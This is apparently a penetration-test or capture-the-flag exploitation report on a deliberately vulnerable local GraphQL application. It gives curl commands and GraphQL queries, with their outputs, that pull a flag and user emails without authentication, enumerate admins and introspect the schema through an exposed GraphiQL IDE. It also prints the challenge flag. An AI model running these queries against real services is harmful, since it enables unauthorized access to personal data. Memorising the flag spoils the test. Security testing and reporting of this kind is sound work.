# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-02: Anonymous Access to CTF Flag via Field-Level Authorization Bypass

**Summary:**
- **Vulnerable location:** POST http://localhost:5003/api/users (GraphQL flag field exposure)
- **Overview:** Anonymous users can extract the CTF flag from admin2 user account without any authentication or authorization checks
- **Impact:** Complete compromise of CTF challenge objective - sensitive admin-only data accessible to unauthenticated users
- **Severity:** CRITICAL

**Prerequisites:** None - completely unauthenticated exploitation

**Exploitation Steps:**

1. Send POST request to the GraphQL API endpoint with query requesting flag field for admin2 user:
```bash
curl -X POST http://localhost:5003/api/users \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users(search: \"{\\\"username\\\": \\\"admin2\\\"}\") { flag } }"}'
```

2. Observe the response containing the CTF flag without any authentication required:
```json
{
  "users": [
    {
      "flag": "FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}"
    }
  ]
}
```

**Proof of Impact:**
- **Flag Captured:** `FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}`
- Successfully accessed admin-only sensitive data (CTF flag) without authentication
- Demonstrates complete vertical privilege escalation from anonymous to admin-level data access
- No authorization checks performed on sensitive field exposure

**Notes:**
- The flag field is exposed in the GraphQL UserType schema (models.py:13) with NO field-level authorization
- No custom resolve_flag() method exists to check permissions
- The is_admin field exists in the database but is never validated before returning sensitive data
- Root cause: Complete absence of field-level access controls in GraphQL schema

---

### AUTHZ-VULN-01: Anonymous Access to All Users' Data via Horizontal Authorization Bypass

**Summary:**
- **Vulnerable location:** POST http://localhost:5003/api/users (GraphQL users query)
- **Overview:** Anonymous users can query all users' data including usernames and emails without authentication
- **Impact:** Unauthorized access to all user PII, enabling account enumeration and targeted attacks
- **Severity:** HIGH

**Prerequisites:** None - completely unauthenticated exploitation

**Exploitation Steps:**

1. Send POST request to GraphQL API requesting all users' data:
```bash
curl -X POST http://localhost:5003/api/users \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users { username email } }"}'
```

2. Observe response containing all 5 users without authentication:
```json
{
  "users": [
    {
      "email": "admin@heytheregotrythis.com",
      "username": "admin"
    },
    {
      "email": "admin2@goodyoutriedsomethingelse.com",
      "username": "admin2"
    },
    {
      "email": "user1@heytheregotrythis.com",
      "username": "user1"
    },
    {
      "email": "user2@heytheregotrythis.com",
      "username": "user2"
    },
    {
      "email": "user3@heytheregotrythis.com",
      "username": "user3"
    }
  ]
}
```

**Proof of Impact:**
- Successfully accessed all users' PII (usernames and email addresses) without authentication
- Demonstrates horizontal authorization bypass - accessing data belonging to other users at same privilege level
- No ownership validation - query returns ALL users instead of filtering by requester identity
- Complete database enumeration possible in single request

**Notes:**
- The resolve_users() function starts with User.objects() returning ALL users (schema.py:9)
- No filtering by current user ID or session
- No @login_required decorator on /api/users endpoint (app.py:24)
- Root cause: Complete absence of authentication and ownership validation

---

### AUTHZ-VULN-03: Anonymous Admin User Enumeration via Role-Based Filter

**Summary:**
- **Vulnerable location:** POST http://localhost:5003/api/users (GraphQL search parameter with is_admin filter)
- **Overview:** Anonymous users can enumerate all admin accounts by filtering on is_admin field
- **Impact:** Exposes privileged accounts for targeted attacks, reveals system administrators
- **Severity:** HIGH

**Prerequisites:** None - completely unauthenticated exploitation

**Exploitation Steps:**

1. Send POST request with GraphQL query filtering for admin users:
```bash
curl -X POST http://localhost:5003/api/users \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users(search: \"{\\\"is_admin\\\": true}\") { username email } }"}'
```

2. Observe response containing only admin users:
```json
{
  "users": [
    {
      "email": "admin@heytheregotrythis.com",
      "username": "admin"
    },
    {
      "email": "admin2@goodyoutriedsomethingelse.com",
      "username": "admin2"
    }
  ]
}
```

**Proof of Impact:**
- Successfully enumerated all admin accounts (2 users: admin, admin2) without authentication
- Demonstrates vertical privilege escalation - accessing admin-level information as anonymous user
- Ability to filter by is_admin field should be restricted to authenticated admin users only
- Enables targeted attacks against privileged accounts

**Notes:**
- The search parameter accepts arbitrary MongoDB filter criteria including is_admin field
- No whitelist of allowed fields for anonymous users
- No role validation before allowing is_admin filtering
- Root cause: Missing authorization check on role-based queries

---

### AUTHZ-VULN-04: Publicly Accessible GraphiQL IDE Enables Reconnaissance

**Summary:**
- **Vulnerable location:** GET/POST http://localhost:5003/graphql (GraphiQL interface)
- **Overview:** GraphiQL interactive IDE is publicly accessible, providing schema introspection and query testing capabilities to anonymous users
- **Impact:** Significantly lowers attack barrier by providing reconnaissance tools, field discovery, and interactive payload testing
- **Severity:** HIGH

**Prerequisites:** None - web browser or HTTP client

**Exploitation Steps:**

1. Navigate to GraphiQL interface in web browser:
```
URL: http://localhost:5003/graphql
```

2. Use schema introspection to discover all available fields including the sensitive flag field:
```graphql
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}
```

3. Observe introspection response revealing UserType has username, email, and flag fields:
```json
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "UserType",
          "fields": [
            { "name": "username" },
            { "name": "email" },
            { "name": "flag" }
          ]
        }
      ]
    }
  }
}
```

4. Use GraphiQL's interactive editor to extract flag with auto-completion and syntax highlighting:
```graphql
{
  users(search: "{\"username\": \"admin2\"}") {
    username
    flag
  }
}
```

5. Result displays flag in GraphiQL response pane:
```json
{
  "data": {
    "users": [
      {
        "username": "admin2",
        "flag": "FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}"
      }
    ]
  }
}
```

**Proof of Impact:**
- GraphiQL IDE loads without authentication at http://localhost:5003/graphql
- Schema introspection enabled - reveals all types, fields, and query structures
- Interactive query editor provides auto-completion showing available fields
- Documentation explorer displays entire API structure
- Successfully extracted CTF flag using GraphiQL interface
- Provides admin-level API exploration tools to anonymous users

**Notes:**
- GraphiQL enabled with graphiql=True at app.py:16
- No authentication guard on /graphql route
- Schema introspection enabled by default (no introspection=False configured)
- This is a vertical privilege escalation - anonymous users gain access to development/admin tools
- Root cause: Production deployment with development tools exposed

---

### AUTHZ-VULN-05: Anonymous Access via Direct GraphQL Endpoint

**Summary:**
- **Vulnerable location:** GET/POST http://localhost:5003/graphql (direct GraphQL endpoint)
- **Overview:** Direct GraphQL endpoint provides identical unauthorized access as /api/users REST wrapper
- **Impact:** Duplicate attack surface - bypasses any potential REST-layer controls
- **Severity:** HIGH

**Prerequisites:** None - completely unauthenticated exploitation

**Exploitation Steps:**

1. Send POST request directly to /graphql endpoint (bypassing /api/users REST wrapper):
```bash
curl -X POST http://localhost:5003/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users { username email flag } }"}'
```

2. Observe response containing all users including admin2's flag:
```json
{
  "data": {
    "users": [
      {
        "username": "admin",
        "email": "admin@heytheregotrythis.com",
        "flag": null
      },
      {
        "username": "admin2",
        "email": "admin2@goodyoutriedsomethingelse.com",
        "flag": "FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}"
      },
      {
        "username": "user1",
        "email": "user1@heytheregotrythis.com",
        "flag": null
      },
      {
        "username": "user2",
        "email": "user2@heytheregotrythis.com",
        "flag": null
      },
      {
        "username": "user3",
        "email": "user3@heytheregotrythis.com",
        "flag": null
      }
    ]
  }
}
```

**Proof of Impact:**
- Successfully accessed all user data including CTF flag via direct /graphql endpoint
- Demonstrates horizontal authorization bypass (accessing other users' data)
- Demonstrates vertical privilege escalation (accessing admin flag field)
- Direct GraphQL endpoint provides same vulnerable access as REST wrapper
- Both endpoints route to identical resolve_users() function with no authorization

**Notes:**
- Both /api/users and /graphql execute schema.execute() calling the same vulnerable resolver
- No authentication check on /graphql route (app.py:11-18)
- Duplicate attack surface increases exploitation opportunities
- Root cause: Same missing authorization guards as AUTHZ-VULN-01 but via different entry point
